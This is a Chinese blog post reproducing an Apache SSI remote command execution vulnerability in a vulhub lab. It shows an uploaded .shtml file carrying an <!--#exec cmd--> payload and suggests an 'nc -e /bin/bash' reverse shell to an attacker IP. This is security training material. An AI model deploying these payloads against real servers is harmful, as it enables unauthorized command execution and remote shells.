Apache SSI 远程命令执行漏洞 漏洞复现

前言&原理

如果目标服务器开启了ssi功能,那么shtml文件将可以执行任意命令。如果上传文件程序限制了php文件的上传,且没有限制shtml文件上传,我们可以上传一个shtml文件,并利用<!--#exec cmd="命令" -->语法执行任意命令。

ssi详细讲解请参考:https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。

ssi漏洞挖掘思路请参考:https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。

漏洞环境

该环境使用vulhub搭建,该漏洞路径为 vulhub/httpd/ssi-rce。进入该漏洞路径后执行以下命令:

docker-compose up -d

-d 表示后台运行。

注意:该命令必须在漏洞目录下执行,该命令是启动当前目录下的docker容器。

如果不会搭建环境可以参考官方文档:https://vulhub.org/#/docs/

启动环境后访问http://ip地址:8080/upload.php,即可看到一个上传表单。

漏洞复现

将代码 <!--#exec cmd="id"> -->写入文件a.shtml中,然后上传之服务器。

在这里插入图片描述

然后点击超链接a.shtml即可打开上传文件,并执行id命令。

在这里插入图片描述

也可将<!--#exec cmd="id"> -->中的id改成其他命令,例如 nc -e /bin/bash IP 4443反弹一个shell。但是要注意的是这个docker容器中没有nc,所以在这个靶机中反弹shell不会成功。

参考文献

[1] https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。

[2] https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。

[1] https://httpd.apache.org/docs/2.4/howto/ssi.html,Apache httpd Tutorial: Introduction to Server Side Includes.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

rpsate

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值